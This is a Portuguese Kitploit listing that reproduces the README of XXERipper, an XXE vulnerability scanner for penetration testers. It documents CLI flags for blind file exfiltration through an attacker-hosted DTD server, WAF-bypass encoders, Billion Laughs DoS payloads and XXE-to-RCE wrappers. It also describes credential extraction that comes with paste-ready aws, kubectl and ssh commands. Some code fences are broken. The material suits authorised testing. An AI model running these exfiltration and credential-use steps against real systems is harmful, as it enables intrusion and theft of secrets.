Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
XXERipper — Scanner XXE de caixa preta que detecta injeção in-band, baseada em erros e blind out-of-band por meio de baselining estatístico, fingerprinting de parser e confirmação OOB, com saída SARIF. | Kitploit
Ferramentas/GitHubGitHub/kamalx06/xxeripper
ReconhecimentoScanners de VulnerabilidadesScanners de Vulnerabilidades WebExploraçãoScripting e AutomaçãoTestes de Segurança de APIsExfiltração de DadosColeta de InformaçõesBypass de WAFSegurança WebTestes de Penetração
25há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Red Teaming
GitHubkamalx06/xxeripper

XXERipper

Scanner XXE de caixa preta que detecta injeção in-band, baseada em erros e blind out-of-band por meio de baselining estatístico, fingerprinting de parser e confirmação OOB, com saída SARIF.

Ver Repositório
Compartilhar

XXERipper

Um scanner autônomo de XML External Entity (XXE) de caixa-preta para profissionais de segurança.

O XXERipper detecta XXE in-band, baseado em erros e blind out-of-band em mais de 30 famílias de técnicas de ataque. Ele combina baselining estatístico, fingerprinting diferencial de parsers, confirmação out-of-band via interactsh-client (manual ou automática), um console baseado em navegador, codificação de bypass de WAF, detecção de cadeia de exploração ponta a ponta, extração de credenciais com snippets de shell prontos para colar, achados mapeados para CWE e saída em JSON / SARIF / HTML para CI/CD e relatórios.

License: GPL v3 Python 3.9+ Version PRs Welcome


Índice

  • Visão Geral
  • Principais Recursos
Instalação
  • Início Rápido
  • Uso
  • Referência de Linha de Comando
  • Console Web
  • Arquitetura e Design
  • Metodologia de Fingerprinting
  • Metodologia de Detecção
  • Motor de Precisão
  • Técnicas de Ataque
  • Cadeias de Exploração e Extração de Loot
  • Confirmação Out-of-Band
  • Codificação de Bypass de WAF
  • Payloads Personalizados
  • Formatos de Saída
  • Confiabilidade e Cobertura
  • Integração com CI/CD
  • Testando Contra os Labs Incluídos
  • Compilação, Licença e Créditos

  • Visão Geral

    O XXERipper é um scanner autocontido de CLI e console de navegador para injeção de XML External Entity, projetado para testadores de penetração, caçadores de bug bounty e pesquisadores de segurança que precisam de detecção precisa e com baixo índice de falsos positivos de uma classe de vulnerabilidade que é fácil de testar mal e difícil de testar bem.

    Ele é deliberadamente minimalista — httpx e (para o console) flask, nada mais — e auditável de ponta a ponta. Cada fase pode ser rastreada, cada achado carrega uma trilha de evidências, cada técnica ignorada é reportada com um motivo, e cada arquivo ou credencial extraído é deduplicado e armazenado com snippets de exploração prontos para colar.

    O XXERipper não explora o alvo além da própria primitiva de resolução de entidades. Ele determina se um parser resolve entidades externas, se o resultado pode ser observado in-band, via erros do parser ou out of band, e reporta essa determinação com uma pontuação de confiança, um mapeamento CWE e — quando uma cadeia completa se conclui — um achado consolidado que nomeia o impacto ponta a ponta.


    Principais Recursos

    • Mais de 30 famílias de técnicas de ataque entre as classes in-band, baseada em erros, blind, bypass de codificação, sink alternativo, fetcher estendido, metadados de nuvem, wrapper de RCE, documento do Office e desserialização YAML.
    • Detecção de cadeia de exploração ponta a ponta. Um ChainTracker observa cada achado, deriva estágios de cadeia a partir de ID + evidência e dispara um achado consolidado quando um template se completa — XXE → IMDS → credenciais IAM → tomada de conta AWS, XXE → chave privada SSH → movimento lateral, XXE → secrets do Kubernetes → roubo de credenciais do cluster, e mais dez.
    • Armazenamento de loot com extração de credenciais em sete tipos. Cada achado de leitura de arquivo passa por um extrator universal que puxa o conteúdo bruto do arquivo da resposta, armazena-o deduplicado e o escaneia em busca de blobs AWS IAM, credenciais AWS CLI, credenciais Alibaba RAM, chaves privadas SSH, contas de serviço GCP, tokens de acesso OAuth (metadados GCP e identidade gerenciada do Azure), tokens de conta de serviço do Kubernetes e tokens bearer genéricos. Cada credencial carrega snippets de shell prontos para colar — aws sts get-caller-identity, aliyun sts GetCallerIdentity, ssh -i …, gcloud auth activate-service-account, kubectl --token=… e curl -H 'Authorization: Bearer …' — construídos com as claims reais do token quando aplicável.
    • Fingerprinting diferencial de parsers em 11 stacks XML (libxml2, Xerces, .NET, Java SAX/StAX, Python stdlib, PHP DOM, Ruby, Node.js, Perl, Go), com sondas pareadas de teste/controle e um cache em disco por URL.
    • Baselining estatístico — mediana, IQR, p95, status de moda e entropia de Shannon em janelas — com vetos graduados que rejeitam ruído sem suprimir achados reais.
    • Confirmação out-of-band via interactsh-client. Dois modos: manual (o scanner imprime cada subdomínio, você observa o cliente) e automático (--oob-auto inicia o interactsh-client e correlaciona callbacks em processo). Ambos embutem um token único de 16 hex por payload para que callbacks nunca possam ser atribuídos incorretamente.
    • Exfiltração de arquivos blind — o scanner serve o DTD que faz o alvo enviar o conteúdo do arquivo para o callback, extrai o payload exfiltrado e o encaminha pelo mesmo pipeline de loot das leituras in-band. Três opções de hospedagem de DTD: um servidor HTTP embutido (--oob-listen), um diretório servido pelo seu próprio servidor web (--oob-dtd-dir) ou as próprias rotas Flask da WebUI (marque Serve DTDs from this WebUI no drawer).
    • Detecção de cadeia de metadados de nuvem como fase de primeira classe: AWS IMDSv1/v2 (incluindo detecção de IMDSv2), GCP, Azure, Alibaba, Oracle e a API de conta de serviço do Kubernetes. Uma resposta contendo marcadores de credenciais é promovida a CRITICAL e não é mais sondada.
    • Wrappers de protocolo XXE-para-RCE: jar://, data://, phar://, glob://, compress.zlib://.
    • Invocação de XSLT em documentos do Office (XXE-OFFICE-XSLT-{DOCX,XLSX}) — uma PI xml-stylesheet dentro de uma parte do Word ou Excel faz com que processadores de documentos do lado do servidor busquem um XSLT controlado pelo atacante.
    • Desserialização YAML insegura — CWE-502, sondada junto com XML através dos mesmos endpoints via payloads PyYAML e SnakeYAML.
    • Troca de content-type de JSON para XML — captura o Spring MVC com jackson-dataformat-xml no classpath, que aceita silenciosamente application/xml em qualquer endpoint @RequestBody.
    • XXE de pré-assinatura SAML — faz o parse do corpo da assertion antes da verificação de assinatura, a sequência que o CVE-2026-28809 (esaml) expôs.
    • Fase de bypass de WAF (--bypass-waf) — reenvia todo o catálogo de payloads através de quinze codificadores em três famílias. Executa após as fases principais para que um acerto direto seja encontrado em ~20 requisições em vez de ficar enterrado atrás de ~1.500 codificadas.
    • Negociação HTTP/2 — o construtor de sessão fala HTTP/2 via ALPN e recorre silenciosamente a HTTP/1.1.
    • Fingerprinting multi-indicador — nenhuma correspondência de string única dispara um achado.
    • Isolamento de exceções por fase — uma falha em uma família de técnicas não pode perder achados de fases já concluídas.
    • Console web (--serve) — bancada de trabalho baseada em navegador com streaming de eventos ao vivo, paleta de comandos, navegação por teclado, downloads por job em JSON / SARIF / HTML e um botão separado View HTML que abre o relatório inline em vez de baixá-lo. Frontend sem dependências: um único arquivo HTML autocontido, sem CDN.
    • Achados mapeados para CWE emitidos em JSON, SARIF v2.1.0 e um relatório HTML imprimível autocontido.
    • Relatório de cobertura — cada fase que não foi executada é listada com um motivo, para que "limpo" nunca seja confundido com "incompleto".
    • Replay pré-autenticação — --pre-auth-request FILE reproduz requisições no formato Burp e mescla seus Set-Cookie antes do início do scan, para que fluxos de autenticação em múltiplas etapas funcionem sem um arquivo de cookies.
    • Rate limiting, retry com backoff e um orçamento de tempo de parede para evitar DoS acidental.

    Instalação

    PyPI (recomendado)```bash

    pip install xxeripper pip install "xxeripper[socks]" # plus SOCKS proxy support

    root@kitploit:~
    A instalação base inclui `httpx[http2]` (com negociação HTTP/2
    ativada via ALPN) e `Flask` (usado pelo console web `--serve`).
    O suporte a proxy SOCKS é a única dependência opcional. HTTP/2 é um recurso
    obrigatório, não opcional — ele está na lista de dependências principal como
    `httpx[http2]`. O extra `xxeripper[http2]` é fornecido puramente por
    hábito do usuário; instalá-lo é equivalente a instalar o pacote base.
    
    ### Pacotes de distribuição```bash
    sudo pacman -U xxeripper-1.0.0-1-any.pkg.tar.zst    # Arch
    sudo dpkg -i xxeripper_1.0.0-1_all.deb              # Debian / Ubuntu
    sudo dnf install xxeripper-1.0.0-1.fc44.noarch.rpm  # Fedora / RHEL
    

    Do código-fonte```bash

    git clone https://github.com/kamalx06/XXERipper.git cd XXERipper && pip install -e ".[socks]"

    root@kitploit:~
    ### Requisitos
    
    - **Python 3.9 até 3.14.**
    - **`httpx[http2]` ≥ 0.27, < 0.29** — o cliente HTTP. O suporte a HTTP/2
      é incluído através do extra `[http2]` do `httpx`, que traz a
      dependência `h2` consigo. O scanner negocia HTTP/2 via ALPN no
      handshake TLS e recorre silenciosamente a HTTP/1.1 onde o
      servidor não o suporta.
    - **`Flask` ≥ 3.0, < 4.0** — usado pela consola web `--serve`. É
      uma dependência principal, não opcional; a consola é uma interface
      de primeira classe, e `xxeripper --serve` está documentado em
      [Quick Start](#quick-start) e [Web Console](#web-console).
    - **Opcional:** `PySocks` ≥ 1.7.1 para proxies SOCKS
      (`xxeripper[socks]`).
    - **Opcional:** `interactsh-client` no `PATH` para confirmação OOB
      automática (`--oob-auto`). O modo OOB manual (`--oob-domain`) não tem
      dependência externa — executas o `interactsh-client` tu próprio num
      terminal separado.
    
    O wheel inclui um único ficheiro, `xxeripper.py`. Não há diretório de
    pacote, nem extensão compilada, nem passo de compilação na instalação.
    O ponto de entrada da CLI é declarado como `xxeripper = "xxeripper:main"`, pelo que
    `pip install xxeripper` coloca um executável `xxeripper` no teu `PATH`.
    
    ### Extras opcionais
    
    | Extra | Inclui | Quando instalar |
    |---|---|---|
    | `xxeripper[socks]` | `PySocks` ≥ 1.7.1 | Fazes scan através de um proxy SOCKS5, incluindo Tor via `socks5h://` |
    | `xxeripper[http2]` | *(nada de novo)* | Nunca estritamente necessário — a instalação base já inclui `httpx[http2]`. Fornecido por hábito do utilizador |
    
    Não existe um extra `[webui]` — o Flask é uma dependência principal, e a
    consola funciona de imediato em qualquer instalação base.
    
    ---
    
    ## Quick Start```bash
    # 1. Basic scan (in-band and error-based, no OOB)
    xxeripper https://target.com/api/xml
    
    # 2. Terminal A: start interactsh-client and note the session domain
    interactsh-client -v
    # [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
    
    # 3. Terminal B: scan with OOB payloads under that domain
    xxeripper https://target.com/api/xml \
        --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
    
    # 4. Match the [OOB] lines from the scanner against callbacks in Terminal A
    
    # 5. Or skip the two-terminal dance: let the scanner spawn and drive
    #    interactsh-client itself
    xxeripper https://target.com/api/xml --oob-auto
    
    # 6. Blind file exfiltration with the built-in DTD server
    xxeripper https://target.com/api/xml \
        --oob-auto --oob-listen 0.0.0.0:8888 \
        --oob-public-url http://your-public-ip:8888
    
    # 7. Launch the browser-based console instead of a CLI scan
    xxeripper --serve
    # [*] XXE-Ripper web console
    # [*]   URL:  http://127.0.0.1:8080
    
    # 8. Write a self-contained HTML report
    xxeripper https://target.com/api/xml --report-html report.html
    
    # 9. CI usage: write SARIF and fail the build on HIGH+ findings
    xxeripper https://target.com/api/xml \
        -o results.sarif --format sarif --fail-on high
    

    O scanner lida com captura de baseline, fingerprinting de parser, geração de payload, execução, pontuação, rollup de cadeia, extração de credenciais e relatórios. A confirmação cega está disponível como um fluxo de trabalho de dois terminais (modo manual, o padrão) ou como um fluxo de trabalho totalmente automatizado orientado por subprocesso (--oob-auto).


    Uso```bash

    Authenticated scan

    xxeripper https://target.com/api/xml --cookie "SESSION=...; csrf=abc" xxeripper https://target.com/api/xml --cookie-file cookies.txt

    Multi-step auth: replay a login first, then scan with the resulting session

    xxeripper https://target.com/api/xml
    --pre-auth-request login.burp --pre-auth-request csrf.burp

    Burp request ingestion

    xxeripper -r request.txt --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

    Automatic OOB (spawns interactsh-client, correlates callbacks in-process)

    xxeripper -r request.txt --oob-auto

    Blind exfiltration with the built-in DTD server

    xxeripper https://target.com/api/xml
    --oob-auto
    --oob-listen 0.0.0.0:8888
    --oob-public-url http://198.51.100.7:8888

    Blind exfiltration with a directory served by your own web server

    xxeripper https://target.com/api/xml
    --oob-auto
    --oob-dtd-dir /var/www/dtds
    --oob-dtd-url-prefix http://198.51.100.7:8000/dtds

    Custom payloads (inline, file, directory)

    xxeripper https://target.com/api/xml
    --payload ']>&e;'
    --payload-file ./my_payloads.xml --payload-dir ./custom_xxe/
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

    Rate-limited batch scan

    xxeripper -u targets.txt -o results.json
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro --rate 5 --threads 10

    Extended file-target scan

    xxeripper https://target.com/api/xml --full-file-scan

    Force upload-shaped phases on a target whose URL does not hint at it

    xxeripper https://target.com/ingest --svg
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

    Force the SAML pre-signature phase on a non-SAML-shaped URL

    xxeripper https://target.com/auth/assert --saml --oob-auto

    WAF bypass: re-send the entire catalogue through every encoder

    xxeripper https://target.com/api/xml --bypass-waf all --oob-auto

    WAF bypass: pick specific encoders

    xxeripper https://target.com/api/xml
    --bypass-waf utf16be,utf32le,ucs4_2143,b64_uri --oob-auto

    Start the web console instead of a CLI scan

    xxeripper --serve --port 8080

    Both JSON and SARIF output, plus a printable HTML report

    xxeripper https://target.com/api/xml
    -o results --format both --report-html results.html

    Full combination

    xxeripper -r request.txt --cookie "extra=token" --payload-dir ./payloads/
    --oob-auto --timing --unsafe --svg --saml --full-file-scan
    --bypass-waf utf16be,ebcdic,ucs4_2143
    --oob-dtd-dir /var/www/dtds --oob-dtd-url-prefix http://198.51.100.7:8000/dtds
    --threads 20 --rate 8 --timeout-read 20 --budget 1800
    --proxy socks5://127.0.0.1:9050 --debug
    -o results --format both --report-html report.html

    root@kitploit:~
    ---
    
    ## Referência de Linha de Comando
    
    ### Alvo e saída
    
    | Opção | Descrição |
    |---|---|
    | `url` (posicional) | URL única a ser escaneada |
    | `-u, --urls FILE` | Arquivo com URLs, uma por linha |
    | `-r, --request FILE` | Requisição HTTP bruta no formato Burp |
    | `-o, --output FILE` | Arquivo de saída dos resultados |
    | `--format {json,sarif,both}` | Formato de saída. Padrão: `json` |
    | `--report-html PATH` | Escreve um relatório HTML autocontido após o escaneamento |
    | `--fail-on {critical,high,medium,low,never}` | Sai com código `2` quando uma descoberta de severidade igual ou superior a esta estiver presente. Padrão: `never` |
    | `--debug` | Saída de diagnóstico detalhada |
    
    ### Out-of-band
    
    | Opção | Descrição |
    |---|---|
    | `--oob-domain SESSION_DOMAIN` | **Modo manual.** Domínio de sessão do interactsh-client. O scanner constrói payloads sob este domínio e imprime cada subdomínio no resumo do alvo. Ele não faz polling — acompanhe seu terminal do `interactsh-client`. Mutuamente exclusivo com `--oob-auto` |
    | `--oob-auto` | **Modo automático.** Inicia o `interactsh-client` como subprocesso, extrai o domínio de sessão de sua saída JSON e correlaciona callbacks no processo. Requer `interactsh-client` no `PATH`. Mutuamente exclusivo com `--oob-domain` |
    | `--oob-timeout SECONDS` | Orçamento de espera OOB por polling. Só tem significado com `--oob-auto`; combiná-lo com `--oob-domain` é um erro de argumento, já que o modo manual nunca espera. Padrão: `8.0` |
    
    ### Exfiltração cega
    
    | Opção | Descrição |
    |---|---|
    | `--oob-listen HOST:PORT` | Vincula um servidor HTTP embutido que serve payloads DTD. Requer `--oob-public-url`. Use `0.0.0.0:PORT` para vincular todas as interfaces |
    | `--oob-public-url URL` | Prefixo de URL pública para o servidor DTD embutido (ex.: `http://198.51.100.7:8888`). Obrigatório com `--oob-listen` |
    | `--oob-dtd-dir PATH` | Alternativa a `--oob-listen`: um diretório onde o scanner escreve arquivos DTD. Sirva-o a partir do seu próprio servidor web. Requer `--oob-dtd-url-prefix` |
    | `--oob-dtd-url-prefix URL` | Prefixo de URL pública que mapeia para `--oob-dtd-dir` (ex.: `http://198.51.100.7:8000/dtds`) |
    
    Os dois modos são mutuamente exclusivos na prática: use `--oob-listen` quando o alvo consegue alcançar o endereço do scanner, e `--oob-dtd-dir` quando você controla um servidor web voltado ao público. O modo OOB manual (`--oob-domain`) não suporta exfiltração — o scanner nunca lê a saída do interactsh no modo manual, então o conteúdo exfiltrado deve ser lido a partir do terminal do operador.
    
    ### Console web
    
    | Opção | Descrição |
    |---|---|
    | `--serve` | Inicia o console baseado em navegador em vez de executar um escaneamento via CLI |
    | `--host ADDRESS` | Endereço de vinculação para o console. Padrão: `127.0.0.1`. O banner de inicialização alerta contra vinculações que não sejam loopback |
    | `--port PORT` | Porta de vinculação para o console. Padrão: `8080` |
    
    ### Fingerprint e direcionamento de arquivos
    
    | Opção | Descrição |
    |---|---|
    | `--no-fingerprint` | Pula a fase de fingerprint do parser. O controle por capacidade é desabilitado; todas as fases são executadas incondicionalmente |
    | `--no-fingerprint-cache` | Desabilita o cache de fingerprint em disco; força uma nova sondagem |
    | `--full-file-scan` | Itera a lista completa de alvos de arquivo Linux + Windows (~58 caminhos) em vez do subconjunto prioritário (~21 caminhos) |
    
    ### Cookies e payloads
    
    | Opção | Descrição |
    |---|---|
    | `--cookie STRING` / `--cookie-file FILE` | Cookies inline ou jar Netscape / arquivo `key=value` |
    | `--no-cookie-merge` | Pula a mesclagem de `Set-Cookie` |
    | `--pre-auth-request FILE` | Reproduz uma requisição no formato Burp uma vez antes do escaneamento. Cabeçalhos `Set-Cookie` da resposta são mesclados no jar do scanner. Repita para autenticação em múltiplas etapas |
    | `--payload XML` / `--payload-file FILE` / `--payload-dir DIR` | Payloads personalizados (inline, arquivo, diretório) |
    
    ### Modos de ataque
    
    | Opção | Descrição |
    |---|---|
    | `--timing` | Habilita detecção cega baseada em timing |
    | `--unsafe` | Habilita payloads de DoS (Billion Laughs) |
    | `--svg` | Força as fases de upload de SVG e multipart/DOCX/Office-XSLT |
    | `--saml` | Força a fase de pré-assinatura SAML em endpoints cuja URL não parece ter formato SAML |
    
    ### Bypass de WAF
    
    | Opção | Descrição |
    |---|---|
    | `--bypass-waf [ENCODERS]` | Reenvia todo o catálogo de payloads através dos encoders selecionados *após* as fases principais. Passe `all` (ou nenhum valor) para todos os encoders, ou um subconjunto separado por vírgulas. Nomes válidos: `utf16be`, `utf16le`, `utf16decl`, `utf16nobom`, `utf32be`, `utf32le`, `ebcdic`, `ucs4_2143`, `utf8bom`, `public`, `public_charref`, `b64_uri`, `whitespace_pad`, `doctype_closure`, `pe_stager` |
    | `--bypass-waf-include-custom` | Estende a varredura a payloads fornecidos pelo usuário. Só tem significado com `--bypass-waf`. Personalizados que referenciam `{CALLBACK}` ou `{DOMAIN}` são ignorados |
    
    ### Rede e estabilidade
    
    | Opção | Descrição |
    |---|---|
    | `--proxy URL` | `http://`, `https://`, `socks5://`, ou `socks5h://` |
    | `--threads N` | Alvos concorrentes. Padrão: 20 |
    | `--rate R` | Máximo de requisições por segundo por alvo. Padrão: ilimitado |
    | `--timeout-connect SECONDS` / `--timeout-read SECONDS` | Padrão: 5.0 / 15.0 |
    | `--budget SECONDS` | Limite de tempo real do escaneamento. Padrão: 3600 |
    | `--verify-tls` | Reabilita a verificação de certificado |
    
    ### Placeholders de payload personalizado
    
    `{FILE}`, `{CALLBACK}`, `{DOMAIN}`, `{URL}`, `{HOST}` — substituídos no momento do despacho pelo alvo de arquivo atual, subdomínio de callback único, domínio de sessão, URL do alvo e hostname do alvo.
    
    ---
    
    ## Console Web
    
    O console é um ambiente de trabalho baseado em navegador para executar e inspecionar escaneamentos, servido a partir do mesmo binário via `--serve`.```bash
    xxeripper --serve
    # [*] XXE-Ripper web console
    # [*]   URL:  http://127.0.0.1:8080
    # [*]   127.0.0.1 by default. Do NOT expose to untrusted networks.
    # [*]   OOB auto mode available via the WebUI
    #         (interactsh-client will be spawned on first use).
    

    O console se vincula ao loopback por padrão e não possui autenticação. Re-vincular via --host imprime um aviso explícito; coloque-o atrás de um proxy reverso autenticado se precisar de acesso remoto.

    Layout

    Um workbench de três painéis:

    • Targets (esquerda) — cada job com seu status ao vivo, contagem de achados e detalhamento por severidade.
    • Centro — um painel com abas:
      • Findings — filtrável por severidade, pesquisável por texto, ordenável por severidade / ID / título / confiança.
      • Events — transições de fase, cancelamentos e eventos de ciclo de vida.
      • OOB — lista de dispatch com status de correlação por payload assim que os callbacks chegam, além de um bloco exfiltrated sob qualquer callback que carregou conteúdo de arquivo recuperado.
      • Loot — cada arquivo e credencial recuperados do target selecionado, com botões de cópia para o conteúdo completo e snippets de shell prontos para colar.
      • Log — saída de debug quando habilitado.
    • Inspector (direita) — sub-abas Overview / Evidence / Reasons / Raw para o achado selecionado. O Overview renderiza credenciais extraídas inline com botões de cópia por comando. Todo valor tem um botão de cópia.

    Paleta de comandos

    Pressione ⌘K / Ctrl+K para busca fuzzy entre comandos, targets e achados. Os achados mostram sua severidade como uma pílula colorida na paleta.

    Atalhos de teclado

    TeclaAção
    j / kPróximo / anterior target
    n / pPróximo / anterior achado
    /Focar o filtro
    cAbrir a gaveta de novo scan
    rReexecutar o scan selecionado
    ?Diálogo de atalhos
    EscDispensa progressiva (filtro → achado → target)

    Gaveta de novo scan

    Acesso completo a todas as flags da CLI a partir do navegador: URL ou requisição Burp, modo OOB (domínio manual ou automático), a seção Blind exfiltration com duas opções mutuamente exclusivas (servidor DTD hospedado pela WebUI mais campo de URL pública, ou diretório DTD mais prefixo de URL para servir externamente), proxy, cookies, rate, budget, timeouts, threads, payloads customizados, arquivos de payload, requisições de pré-autenticação e a grade de checkboxes para opções de scan. A seção de bypass de WAF expõe todos os quinze encoders como checkboxes individuais mais um botão "Toggle all"; tanto a grade de encoders quanto o checkbox de incluir customizados voltam para desligado sempre que a gaveta fecha, então o bypass nunca é mantido silenciosamente entre scans.

    Auto OOB a partir do console

    Marcar Auto OOB mode na gaveta gera um interactsh-client para o tempo de vida do processo do servidor. Ele é gerado de forma lazy no primeiro job auto-OOB e reutilizado depois. Múltiplos jobs concorrentes compartilham o domínio da sessão mas mantêm conjuntos de tokens independentes, então os callbacks permanecem corretamente atribuídos por target. Callbacks recebidos são impressos no terminal do servidor conforme chegam.

    Servidor DTD hospedado pela WebUI

    Além das opções de hospedagem de DTD do lado da CLI, a WebUI pode servir DTDs a partir de suas próprias rotas Flask. Marque Serve DTDs from this WebUI na gaveta, forneça a URL pública onde a WebUI é acessível, e o scanner registrará DTDs em /dtd/<token>.dtd no mesmo processo Flask que executa o console. Sem segundo terminal, sem python -m http.server, sem diretório separado.

    Isso funciona quando o target consegue alcançar o endereço ao qual a WebUI está vinculada. Vincule o console a 0.0.0.0 com um prefixo de URL pública e a WebUI se torna um servidor de exfiltração totalmente autocontido. Quando o target é remoto e a WebUI não é, use o modo --oob-dtd-dir da CLI: o scanner grava arquivos DTD em um diretório, você serve esse diretório a partir do nginx ou Apache, e a WebUI lê os resultados de volta através do mesmo processo de scan.

    Artefatos por job

    Todo job concluído tem três botões de download na barra de ferramentas:

    • JSON — byte a byte idêntico a --format json da CLI.
    • SARIF — byte a byte idêntico a --format sarif da CLI.
    • HTML — baixa o relatório HTML autocontido (usa Content-Disposition: attachment).
    • View HTML — abre o mesmo relatório inline em uma nova aba (usa Content-Disposition: inline).

    Mesmo arquivo, dois comportamentos, dois botões.

    Suporte a cancelamento

    Um job em execução pode ser cancelado a partir do console. O cancelamento é cooperativo: o ScanContext do job é sinalizado, e cada fase o verifica antes de cada envio de payload. Um job aguardando um slot de concorrência pode ser cancelado antes mesmo de começar.


    Arquitetura e Design

    O XXERipper é um orquestrador de arquivo único com um pequeno conjunto de componentes componíveis. Não há sistema de plugins, nem DSL de configuração, nem estado externo além do cache de fingerprints em disco.``` ┌─────────────────────────────────────────────────────────────┐ │ Entry points │ │ ─ CLI (argparse) ─ Web console (Flask + single HTML) │ └──────────────────────────┬──────────────────────────────────┘ │ ┌──────────▼──────────┐ │ ScanJob │ │ (web) │ │ scan_target (cli) │ └──────────┬──────────┘ │ ┌──────────────────┼──────────────────┐ │ │ │ ┌────▼────┐ ┌────▼────┐ ┌────▼────┐ │Session │ │Cookie │ │OOBClient│ │(httpx, │ │Manager │ │/ Inter- │ │ HTTP/2) │ │ │ │actshMgr │ └────┬────┘ └─────────┘ └────┬────┘ │ │ │ ┌──────▼───────┐ │ │DTDServer / │ │ │FileDTDWriter │ │ │WebUIDTDServer│ │ └──────────────┘ │ ┌────▼───────────────────────────────────────────────┐ │ XXEDetector │ │ │ │ 1. Baseline capture (StatisticalBaseline) │ │ 2. Parser fingerprint (ParserFingerprint, cache) │ │ 3. Phase execution (ordered, isolated, budgeted)│ │ │ │ ┌────────────┐ ┌────────────┐ ┌──────────────┐ │ │ │Accuracy │ │Chain │ │LootStore / │ │ │ │Engine │◄─┤Tracker │ │Credential │ │ │ │(score, veto│ │(stage │ │Extractor / │ │ │ │ classify) │ │ rollup) │ │FileExtractor │ │ │ └────────────┘ └────────────┘ └──────────────┘ │ └────────────────────────────────────────────────────┘ │ ┌──────────▼──────────┐ │ Reporters │ │ JSON · SARIF · HTML│ └─────────────────────┘

    root@kitploit:~
    ### Componentes
    
    | Componente | Função |
    |---|---|
    | `build_session` | Constrói um `httpx.Client` com negociação HTTP/2, pooling de conexões, proxy opcional e injeção de cabeçalhos por requisição |
    | `CookieManager` | Mescla cookies de strings inline, jars Netscape, arquivos `key=value` e cabeçalhos Burp. Opcionalmente absorve `Set-Cookie` de cada resposta |
    | `CustomPayloadLoader` | Carrega, divide e normaliza payloads do usuário a partir de strings inline, arquivos (separador `---` ou limites `<‌?xml`) e diretórios |
    | `OOBClient` | Gera subdomínios correlacionados, rastreia tokens pendentes, despacha observações, correlaciona callbacks contra um `InteractshManager` ativo. Funciona de forma idêntica nos modos manual e automático |
    | `InteractshManager` | Inicia e lê `interactsh-client -json -v`, extrai o domínio da sessão, expõe uma lista de callbacks thread-safe |
    | `DTDServer` | Servidor HTTP embutido para payloads DTD de exfiltração cega. Vinculado por `--oob-listen`. Serve `<token>.dtd` sob demanda |
    | `FileDTDWriter` | Escreve arquivos DTD em um diretório que o operador serve externamente. Emparelhado com `--oob-dtd-url-prefix` |
    | `WebUIDTDServer` | Suporta a rota DTD hospedada na WebUI. Registra DTDs em um dict de escopo de processo e retorna URLs sob `/dtd/<token>.dtd` |
    | `OOBExfilExtractor` | Analisa objetos de callback do interactsh e extrai dados exfiltrados de caminhos/queries de requisições HTTP e rótulos de subdomínio DNS |
    | `ParserFingerprint` | Envia sondas de teste/controle emparelhadas, compara texto de erro contra 11 famílias de assinaturas, preenche um dict `capabilities` |
    | `StatisticalBaseline` | Captura 7 amostras benignas; calcula comprimento mediano, tempo decorrido, status, hash do corpo, entropia de Shannon mediana, entropia em janelas, IQR, p95 |
    | `AccuracyEngine` | Pontua uma resposta candidata contra a baseline, aplica vetos e pesos, classifica a severidade |
    | `XXEPayloadGenerator` | Funções puras que retornam strings e bytes de payload para cada família de técnicas |
    | `XXEDetector` | O orquestrador: constrói cabeçalhos, executa fases, chama o motor de acurácia, registra achados, conduz os subsistemas de loot e chain |
    | `ChainTracker` | Registra estágios de chain derivados de IDs de achados e evidências; dispara achados de rollup quando templates são completados |
    | `LootStore` | Repositório thread-safe e deduplicado de arquivos e segredos extraídos. Não persiste nada em disco por padrão |
    | `CredentialExtractor` | Extração baseada em regex de AWS IAM JSON e INI, Alibaba RAM, chaves privadas SSH, contas de serviço GCP, tokens de acesso OAuth, tokens de conta de serviço Kubernetes e bearers genéricos, cada um com snippets de shell prontos para colar |
    | `FileContentExtractor` | Extração específica por tipo de conteúdo bruto de arquivo a partir de corpos de resposta (`/etc/passwd`, `/etc/shadow`, chaves SSH, `.env`, `web.config`, `win.ini`, `system.ini`, `boot.ini`, arquivos `/proc`), com um fallback estrutural genérico |
    | `ScanContext` | Prazo de relógio de parede e cancelamento cooperativo; cada fase o verifica antes de cada envio |
    | `RateLimiter` | Impõe um intervalo mínimo entre requisições por alvo; independente de `--threads` |
    
    ### Fluxo de varredura
    
    1. **Pré-voo.** O cookie jar é construído. Requisições de pré-autenticação (se houver) são reproduzidas e seus cabeçalhos `Set-Cookie` mesclados. Payloads personalizados são carregados. O prazo do `ScanContext` é definido.
    2. **Captura de baseline.** Sete requisições `POST` benignas são enviadas. Comprimento mediano, tempo decorrido, código de status, hash do corpo, entropia, IQR e p95 são calculados.
    3. **Fingerprint.** Nove sondas de capacidade são executadas contra o alvo. O texto de erro das sondas é comparado contra assinaturas de parser. O resultado é armazenado em cache no disco (a menos que `--no-fingerprint-cache`).
    4. **Fases principais.** Leitura de arquivo in-band, troca de JSON para XML, matriz de content-type, variação de método, injeção de parâmetro de query, SSRF, metadados de nuvem, wrappers RCE, baseado em erro.
    5. **Fases dependentes de OOB.** Apenas DNS, DTD externo, OOB de entidade de parâmetro, bypass CDATA, variantes XInclude, fetchers XSLT/XSD, PI `xml-stylesheet`, multipart, DOCX, form-encoded.
    6. **Bypass e sinks alternativos.** Bypass de codificação, XInclude, upload SVG, envelope SAML/SOAP, pré-assinatura SAML.
    7. **Fases opt-in.** Cega baseada em timing (`--timing`), DoS (`--unsafe`).
    8. **Fases de documento Office e YAML.** PI `xml-stylesheet` em partes DOCX/XLSX, e sondas de desserialização PyYAML / SnakeYAML.
    9. **Payloads personalizados.** Cada payload do usuário é testado contra cada alvo de arquivo.
